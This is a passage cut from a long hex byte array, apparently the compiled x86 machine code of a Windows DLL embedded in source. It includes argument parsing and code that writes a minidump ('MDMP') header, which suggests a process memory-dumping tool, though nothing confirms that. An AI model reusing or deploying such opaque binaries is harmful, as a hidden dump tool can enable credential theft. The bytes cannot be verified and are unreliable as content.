,0x9E,0xFC,0xFF,0xFF,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xE8,0x27,0xDC,0xFF,0xFF,0x85,0xC0,0x74,0x22,0xC7,0x04,0x24,0x90,0xEB,0x48,0x65,0xE8,0x9B,0x86,0xFF,0xFF,0xC7,0x04,0x24,0xB0,0xEB,0x48,0x65,0xE8,0x8F,0x86,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBB,0x05,0x00,0x00,0xE8,0x44,0x88,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x28,0x05,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xB2,0xEB,0x48,0x65,0xE8,0x83,0xA5,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x07,0xDE,0x4D,0xFF,0x89,0x04,0x24,0xE8,0xF2,0xA3,0xFF,0xFF,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x0F,0x84,0xF2,0x04,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xCA,0xEB,0x48,0x65,0xE8,0x4A,0xA5,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x9C,0xA1,0x07,0x65,0x89,0x04,0x24,0xE8,0xB9,0xA3,0xFF,0xFF,0x89,0x45,0xD0,0x83,0x7D,0xD0,0x00,0x0F,0x84,0xBC,0x04,0x00,0x00,0xC7,0x85,0x98,0xFC,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8B,0x45,0xD0,0xFF,0xD0,0x8D,0x95,0x98,0xFC,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0x8B,0x45,0xD4,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0x8E,0x04,0x00,0x00,0x8B,0x85,0x98,0xFC,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0x80,0x04,0x00,0x00,0xC7,0x45,0xE0,0x01,0x00,0x00,0x00,0xE9,0x5E,0x02,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0xE4,0xEB,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x74,0x27,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0xEA,0xEB,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x0C,0xC7,0x45,0xE8,0x01,0x00,0x00,0x00,0xE9,0x00,0x02,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0xFA,0xEB,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x74,0x27,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0x00,0xEC,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x79,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x8B,0x85,0x98,0xFC,0xFF,0xFF,0x39,0xC2,0x7C,0x1D,0xC7,0x04,0x24,0x10,0xEC,0x48,0x65,0xE8,0xF2,0x84,0xFF,0xFF,0xC7,0x04,0x24,0xB0,0xEB,0x48,0x65,0xE8,0xE6,0x84,0xFF,0xFF,0xE9,0xB8,0x03,0x00,0x00,0x83,0x45,0xE0,0x01,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x89,0x44,0x24,0x04,0x8D,0x85,0xAC,0xFE,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x16,0x17,0x00,0x00,0x8D,0x85,0xAC,0xFE,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8D,0x85,0x9C,0xFC,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x78,0x8F,0xFF,0xFF,0xE9,0x39,0x01,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0x26,0xEC,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x74,0x27,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0x2C,0xEC,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x62,0x8B,0x45,0xE0,0x8D,0x50,0x01,0x8B,0x85,0x98,0xFC,0xFF,0xFF,0x39,0xC2,0x7C,0x1D,0xC7,0x04,0x24,0x38,0xEC,0x48,0x65,0xE8,0x2B,0x84,0xFF,0xFF,0xC7,0x04,0x24,0xB0,0xEB,0x48,0x65,0xE8,0x1F,0x84,0xFF,0xFF,0xE9,0xF1,0x02,0x00,0x00,0x83,0x45,0xE0,0x01,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x08,0x0A,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x59,0x16,0x00,0x00,0x89,0x45,0xF0,0xE9,0x89,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0x4C,0xEC,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x74,0x27,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0xC7,0x44,0x24,0x04,0x52,0xEC,0x48,0x65,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x09,0xC7,0x45,0xEC,0x01,0x00,0x00,0x00,0xEB,0x32,0x8B,0x45,0xE0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x00,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x6A,0xEC,0x48,0x65,0xE8,0x6D,0x83,0xFF,0xFF,0xC7,0x04,0x24,0xB0,0xEB,0x48,0x65,0xE8,0x61,0x83,0xFF,0xFF,0xE9,0x33,0x02,0x00,0x00,0x83,0x45,0xE0,0x01,0x8B,0x85,0x98,0xFC,0xFF,0xFF,0x39,0x45,0xE0,0x0F,0x8C,0x93,0xFD,0xFF,0xFF,0x8B,0x45,0xE4,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x0F,0xB7,0x85,0x9C,0xFC,0xFF,0xFF,0x66,0x85,0xC0,0x0F,0x84,0xE3,0x01,0x00,0x00,0xE8,0x19,0xE0,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0xD4,0x01,0x00,0x00,0x83,0x7D,0xF0,0x00,0x75,0x12,0xE8,0x90,0x9D,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xBF,0x01,0x00,0x00,0x0F,0xB7,0x85,0x9C,0xFC,0xFF,0xFF,0x66,0x85,0xC0,0x75,0x1D,0xC7,0x04,0x24,0x80,0xEC,0x48,0x65,0xE8,0xE0,0x82,0xFF,0xFF,0xC7,0x04,0x24,0xB0,0xEB,0x48,0x65,0xE8,0xD4,0x82,0xFF,0xFF,0xE9,0xA6,0x01,0x00,0x00,0x8D,0x85,0x9C,0xFC,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x78,0x90,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0x83,0x01,0x00,0x00,0xC7,0x44,0x24,0x44,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x3C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x34,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x8D,0x85,0xAC,0xFE,0xFF,0xFF,0x89,0x44,0x24,0x2C,0x8B,0x45,0xE8,0x89,0x44,0x24,0x28,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x44,0x24,0x08,0x8B,0x45,0xF0,0x89,0x44,0x24,0x04,0x8D,0x45,0xB4,0x89,0x04,0x24,0xE8,0xB8,0xAB,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0xE7,0x00,0x00,0x00,0x83,0x7D,0xE8,0x00,0x74,0x15,0xC7,0x45,0xC8,0x4D,0x44,0x4D,0x50,0x66,0xC7,0x45,0xCC,0x93,0xA7,0x66,0xC7,0x45,0xCE,0x00,0x00,0xEB,0x22,0x8D,0x45,0xB8,0x83,0xC0,0x16,0x89,0x44,0x24,0x08,0x8D,0x45,0xB8,0x83,0xC0,0x14,0x89,0x44,0x24,0x04,0x8D,0x45,0xB8,0x83,0xC0,0x10,0x89,0x04,0x24,0xE8,0x37,0x96,0xFF,0xFF,0xC7,0x45,0xB0,0x00,0x00,0x80,0x0C,0x8D,0x45,0xB0,0x89,0x04,0x24,0xE8,0x6C,0x95,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x8E,0x00,0x00,0x00,0x8B,0x45,0xB4,0x89,0x45,0xB8,0x8B,0x45,0xD8,0x89,0x45,0xBC,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x8B,0x45,0xB0,0x89,0x45,0xC4,0x8D,0x45,0xB8,0x89,0x04,0x24,0xE8,0x37,0xF9,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x64,0x83,0x7D,0xE8,0x00,0x75,0x12,0x8B,0x55,0xC0,0x8B,0x45,0xBC,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x6E,0x95,0xFF,0xFF,0x8B,0x55,0xC0,0x8B,0x45,0xBC,0x89,0x54,0x24,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0x9C,0xFC,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x3C,0x8D,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x2A,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xE4,0x00,0x74,0x10,0x8B,0x45,0xE4,0x89,0x04,0x24,0xA1,0x64,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x04,0x8B,0x45,0xBC,0x85,0xC0,0x74,0x19,0x8B,0x45,0xC4,0x85,0xC0,0x74,0x12,0x8B,0x55,0xC4,0x8B,0x45,0xBC,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xEE,0x94,0xFF,0xFF,0x8B,0x45,0xB4,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xB4,0x89,0x04,0x24,0xE8,0xE0,0xD6,0xFF,0xFF,0x83,0x7D,0xF4,0x00,0x75,0x0E,0x8D,0x85,0xAC,0xFE,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xA2,0x8F,0xFF,0xFF,0x8B,0x45,0xF4,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x08,0x83,0x7D,0x0C,0x03,0x74,0x25,0x83,0x7D,0x0C,0x03,0x77,0x26,0x83,0x7D,0x0C,0x02,0x74,0x1C,0x83,0x7D,0x0C,0x02,0x77,0x1A,0x83,0x7D,0x0C,0x00,0x74,0x13,0x83,0x7D,0x0C,0x01,0x75,0x0E,0xE8,0x16,0xF9,0xFF,0xFF,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x66,0x90,0x66,0x90,0xA1,0x80,0xD0,0x48,0x65,0x8B,0x00,0x85,0xC0,0x74,0x2D,0x55,0x89,0xE5,0x83,0xEC,0x08,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xFF,0xD0,0xA1,0x80,0xD0,0x48,0x65,0x8D,0x50,0x04,0x8B,0x40,0x04,0x89,0x15,0x80,0xD0,0x48,0x65,0x85,0xC0,0x75,0xE9,0xC9,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xC3,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x8B,0x1D,0x60,0xCD,0x48,0x65,0x83,0xFB,0xFF,0x74,0x2E,0x85,0xDB,0x74,0x16,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0xFF,0x14,0x9D,0x60,0xCD,0x48,0x65,0x83,0xEB,0x01,0x75,0xF4,0xC7,0x04,0x24,0x10,0xBA,0x48,0x65,0xE8,0x58,0x59,0xFF,0xFF,0x8B,0x5D,0xFC,0xC9,0xC3,0x8D,0x76,0x00,0x31,0xC0,0x8D,0xB6,0x00,0x00,0x00,0x00,0x89,0xC3,0x83,0xC0,0x01,0x8B,0x14,0x85,0x60,0xCD,0x48,0x65,0x85,0xD2,0x75,0xF0,0xEB,0xB8,0x8D,0xB6,0x00,0x00,0x00,0x00,0xA1,0x20,0x4A,0x49,0x65,0x85,0xC0,0x74,0x07,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0xC7,0x05,0x20,0x4A,0x49,0x65,0x01,0x00,0x00,0x00,0xEB,0x84,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x18,0x8B,0x45,0x0C,0x83,0xF8,0x03,0x74,0x12,0x85,0xC0,0x74,0x0E,0xC9,0xB8,0x01,0x00,0x00,0x00,0xC2,0x0C,0x00,0x2E,0x8D,0x74,0x26,0x00,0x89,0x44,0x24,0x04,0x8B,0x55,0x10,0x8B,0x45,0x08,0x89,0x54,0x24,0x08,0x89,0x04,0x24,0xE8,0xFA,0x06,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x90,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x83,0x3D,0x8C,0xD0,0x48,0x65,0x02,0x8B,0x45,0x0C,0x74,0x0A,0xC7,0x05,0x8C,0xD0,0x48,0x65,0x02,0x00,0x00,0x00,0x83,0xF8,0x02,0x74,0x16,0x83,0xF8,0x01,0x74,0x49,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0x74,0x26,0x00,0xBB,0x28,0x70,0x49,0x65,0x81,0xFB,0x28,0x70,0x49,0x65,0x74,0xE2,0x8D,0x76,0x00,0x8B,0x03,0x85,0xC0,0x74,0x02,0xFF,0xD0,0x83,0xC3,0x04,0x81,0xFB,0x28,0x70,0x49,0x65,0x75,0xED,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x8B,0x45,0x10,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x89,0x44,0x24,0x08,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x66,0x06,0x00,0x00,0x8B,0x5D,0xFC,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x31,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x53,0x8D,0x5D,0x0C,0x83,0xEC,0x14,0xC7,0x04,0x24,0x02,0x00,0x00,0x00,0xE8,0x6A,0x0E,0x00,0x00,0xC7,0x44,0x24,0x08,0x1B,0x00,0x00,0x00,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0xE0,0xEC,0x48,0x65,0xE8,0x22,0x10,0x00,0x00,0xC7,0x04,0x24,0x02,0x00,0x00,0x00,0xE8,0x3E,0x0E,0x00,0x00,0x8B,0x55,0x08,0x89,0x5C,0x24,0x08,0x89,0x04,0x24,0x89,0x54,0x24,0x04,0xE8,0x73,0x10,0x00,0x00,0xE8,0xE6,0x0F,0x00,0x00,0x8D,0xB6,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x89,0xC3,0x83,0xEC,0x3C,0x8B,0x35,0x44,0x4A,0x49,0x65,0x85,0xF6,0x0F,0x8E,0x07,0x01,0x00,0x00,0xA1,0x48,0x4A,0x49,0x65,0x31,0xC9,0x83,0xC0,0x0C,0x2E,0x8D,0x74,0x26,0x00,0x8B,0x10,0x39,0xD3,0x72,0x0E,0x8B,0x78,0x04,0x03,0x57,0x08,0x39,0xD3,0x0F,0x82,0x81,0x00,0x00,0x00,0x83,0xC1,0x01,0x83,0xC0,0x14,0x39,0xF1,0x75,0xE2,0x89,0x1C,0x24,0xE8,0xB2,0x07,0x00,0x00,0x89,0xC7,0x85,0xC0,0x0F,0x84,0xEF,0x00,0x00,0x00,0xA1,0x48,0x4A,0x49,0x65,0x8D,0x1C,0xB6,0xC1,0xE3,0x02,0x01,0xD8,0x89,0x78,0x10,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0xDD,0x08,0x00,0x00,0x8B,0x15,0x48,0x4A,0x49,0x65,0x03,0x47,0x0C,0x89,0x44,0x1A,0x0C,0x8D,0x55,0xCC,0xC7,0x44,0x24,0x08,0x1C,0x00,0x00,0x00,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xFF,0x15,0x74,0x61,0x49,0x65,0x83,0xEC,0x0C,0x85,0xC0,0x0F,0x84,0x84,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8D,0x50,0xFC,0x83,0xE2,0xFB,0x74,0x08,0x8D,0x50,0xC0,0x83,0xE2,0xBF,0x75,0x12,0x83,0x05,0x44,0x4A,0x49,0x65,0x01,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0x76,0x00,0x83,0xF8,0x02,0xBA,0x04,0x00,0x00,0x00,0xB8,0x40,0x00,0x00,0x00,0x8B,0x4D,0xD8,0x0F,0x44,0xC2,0x8B,0x55,0xCC,0x03,0x1D,0x48,0x4A,0x49,0x65,0x89,0x4B,0x08,0x89,0x53,0x04,0x89,0x5C,0x24,0x0C,0x89,0x44,0x24,0x08,0x89,0x4C,0x24,0x04,0x89,0x14,0x24,0xFF,0x15,0x70,0x61,0x49,0x65,0x83,0xEC,0x10,0x85,0xC0,0x75,0xB0,0xFF,0x15,0x34,0x61,0x49,0x65,0xC7,0x04,0x24,0x50,0xED,0x48,0x65,0x89,0x44,0x24,0x04,0xE8,0x84,0xFE,0xFF,0xFF,0x8D,0x74,0x26,0x00,0x31,0xF6,0xE9,0x1F,0xFF,0xFF,0xFF,0xA1,0x48,0x4A,0x49,0x65,0x8B,0x44,0x18,0x0C,0x89,0x44,0x24,0x08,0x8B,0x47,0x08,0xC7,0x04,0x24,0x1C,0xED,0x48,0x65,0x89,0x44,0x24,0x04,0xE8,0x59,0xFE,0xFF,0xFF,0x89,0x5C,0x24,0x04,0xC7,0x04,0x24,0xFC,0xEC,0x48,0x65,0xE8,0x49,0xFE,0xFF,0xFF,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x4C,0x8B,0x3D,0x40,0x4A,0x49,0x65,0x85,0xFF,0x74,0x0D,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0x74,0x26,0x00,0xC7,0x05,0x40,0x4A,0x49,0x65,0x01,0x00,0x00,0x00,0xE8,0x01,0x07,0x00,0x00,0x8D,0x04,0x80,0x8D,0x04,0x85,0x1B,0x00,0x00,0x00,0xC1,0xE8,0x04,0xC1,0xE0,0x04,0xE8,0x4C,0x09,0x00,0x00,0xC7,0x05,0x44,0x4A,0x49,0x65,0x00,0x00,0x00,0x00,0x29,0xC4,0x8D,0x44,0x24,0x23,0x83,0xE0,0xF0,0xA3,0x48,0x4A,0x49,0x65,0xB8,0x6C,0xF1,0x48,0x65,0x2D,0x6C,0xF1,0x48,0x65,0x83,0xF8,0x07,0x7E,0xA8,0x8B,0x15,0x6C,0xF1,0x48,0x65,0x83,0xF8,0x0B,0x0F,0x8F,0x0E,0x01,0x00,0x00,0xBB,0x6C,0xF1,0x48,0x65,0x8B,0x03,0x85,0xC0,0x0F,0x85,0xAC,0x01,0x00,0x00,0x8B,0x43,0x04,0x85,0xC0,0x0F,0x85,0xA1,0x01,0x00,0x00,0x8B,0x43,0x08,0x83,0xF8,0x01,0x0F,0x85,0x3F,0x02,0x00,0x00,0x83,0xC3,0x0C,0x81,0xFB,0x6C,0xF1,0x48,0x65,0x0F,0x83,0x64,0xFF,0xFF,0xFF,0x89,0x7D,0xCC,0x89,0xDE,0xEB,0x5E,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0x83,0xF9,0x08,0x0F,0x85,0x06,0x02,0x00,0x00,0x0F,0xB6,0x9F,0x00,0x00,0x48,0x65,0x25,0xE0,0x00,0x00,0x00,0x84,0xDB,0x79,0x06,0x81,0xCB,0x00,0xFF,0xFF,0xFF,0x29,0xD3,0x8B,0x55,0xD4,0x01,0xD3,0x85,0xC0,0x75,0x0D,0x81,0xFB,0xFF,0x00,0x00,0x00,0x7F,0x6E,0x83,0xFB,0x80,0x7C,0x69,0x8B,0x45,0xD0,0xE8,0xA1,0xFD,0xFF,0xFF,0x88,0x9F,0x00,0x00,0x48,0x65,0x83,0xC6,0x0C,0x81,0xFE,0x6C,0xF1,0x48,0x65,0x0F,0x83,0xFC,0x00,0x00,0x00,0x8B,0x7E,0x04,0x8D,0x87,0x00,0x00,0x48,0x65,0x89,0x45,0xD0,0x8B,0x06,0x8D,0x90,0x00,0x00,0x48,0x65,0x8B,0x80,0x00,0x00,0x48,0x65,0x89,0x45,0xD4,0x8B,0x46,0x08,0x0F,0xB6,0xC8,0x3C,0x10,0x74,0x7D,0x83,0xF9,0x20,0x75,0x80,0x8B,0x5D,0xD4,0x29,0xD3,0x03,0x9F,0x00,0x00,0x48,0x65,0x25,0xE0,0x00,0x00,0x00,0x89,0xC1,0x0F,0x85,0xC0,0x00,0x00,0x00,0x85,0xDB,0x78,0xA9,0x8D,0x74,0x26,0x00,0x89,0x5C,0x24,0x10,0x8B,0x45,0xD4,0x89,0x44,0x24,0x0C,0x8B,0x45,0xD0,0x89,0x4C,0x24,0x04,0x89,0x44,0x24,0x08,0xC7,0x04,0x24,0xD8,0xED,0x48,0x65,0xE8,0xBE,0xFC,0xFF,0xFF,0x8D,0xB6,0x00,0x00,0x00,0x00,0x85,0xD2,0x0F,0x85,0xA0,0x00,0x00,0x00,0xA1,0x70,0xF1,0x48,0x65,0xBB,0x78,0xF1,0x48,0x65,0x89,0xC1,0x0B,0x0D,0x74,0xF1,0x48,0x65,0x0F,0x84,0xD7,0xFE,0xFF,0xFF,0xBB,0x6C,0xF1,0x48,0x65,0xE9,0xDA,0xFE,0xFF,0xFF,0x8D,0xB6,0x00,0x00,0x00,0x00,0x0F,0xB7,0x9F,0x00,0x00,0x48,0x65,0x25,0xE0,0x00,0x00,0x00,0x66,0x85,0xDB,0x79,0x06,0x81,0xCB,0x00,0x00,0xFF,0xFF,0x29,0xD3,0x8B,0x55,0xD4,0x01,0xD3,0x85,0xC0,0x75,0x18,0x81,0xFB,0x00,0x80,0xFF,0xFF,0x0F,0x8C,0x7A,0xFF,0xFF,0xFF,0x81,0xFB,0xFF,0xFF,0x00,0x00,0x0F,0x8F,0x6E,0xFF,0xFF,0xFF,0x8B,0x45,0xD0,0x83,0xC6,0x0C,0xE8,0xA3,0xFC,0xFF,0xFF,0x66,0x89,0x9F,0x00,0x00,0x48,0x65,0x81,0xFE,0x6C,0xF1,0x48,0x65,0x0F,0x82,0x04,0xFF,0xFF,0xFF,0x8B,0x7D,0xCC,0xEB,0x5D,0x8D,0x76,0x00,0x8B,0x45,0xD0,0xE8,0x80,0xFC,0xFF,0xFF,0x89,0x9F,0x00,0x00,0x48,0x65,0xE9,0xDA,0xFE,0xFF,0xFF,0x2E,0x8D,0x74,0x26,0x00,0xBB,0x6C,0xF1,0x48,0x65,0x81,0xFB,0x6C,0xF1,0x48,0x65,0x0F,0x83,0xD2,0xFD,0xFF,0xFF,0x89,0x7D,0xD4,0x8D,0x74,0x26,0x00,0x8B,0x73,0x04,0x8B,0x3B,0x83,0xC3,0x08,0x03,0xBE,0x00,0x00,0x48,0x65,0x8D,0x86,0x00,0x00,0x48,0x65,0xE8,0x3F,0xFC,0xFF,0xFF,0x89,0xBE,0x00,0x00,0x48,0x65,0x81,0xFB,0x6C,0xF1,0x48,0x65,0x72,0xD9,0x8B,0x7D,0xD4,0x8B,0x15,0x44,0x4A,0x49,0x65,0x85,0xD2,0x0F,0x8E,0x93,0xFD,0xFF,0xFF,0x8B,0x1D,0x70,0x61,0x49,0x65,0x8D,0x75,0xE4,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x15,0x48,0x4A,0x49,0x65,0x8D,0x04,0xBF,0x8D,0x04,0x82,0x8B,0x10,0x85,0xD2,0x74,0x1A,0x89,0x74,0x24,0x0C,0x89,0x54,0x24,0x08,0x8B,0x50,0x08,0x89,0x54,0x24,0x04,0x8B,0x40,0x04,0x89,0x04,0x24,0xFF,0xD3,0x83,0xEC,0x10,0x83,0xC7,0x01,0x3B,0x3D,0x44,0x4A,0x49,0x65,0x7C,0xC9,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x89,0x4C,0x24,0x04,0xC7,0x04,0x24,0xAC,0xED,0x48,0x65,0xE8,0x61,0xFB,0xFF,0xFF,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x78,0xED,0x48,0x65,0xE8,0x51,0xFB,0xFF,0xFF,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x2C,0x61,0x49,0x65,0x8B,0x1D,0x4C,0x4A,0x49,0x65,0x83,0xEC,0x04,0x85,0xDB,0x74,0x36,0x8B,0x3D,0x6C,0x61,0x49,0x65,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8B,0x03,0x89,0x04,0x24,0xFF,0xD7,0x89,0xC6,0x83,0xEC,0x04,0xFF,0x15,0x34,0x61,0x49,0x65,0x85,0xF6,0x74,0x0C,0x85,0xC0,0x75,0x08,0x8B,0x43,0x04,0x89,0x34,0x24,0xFF,0xD0,0x8B,0x5B,0x08,0x85,0xDB,0x75,0xD7,0xC7,0x04,0x24,0x54,0x4A,0x49,0x65,0xFF,0x15,0x58,0x61,0x49,0x65,0x83,0xEC,0x04,0x8D,0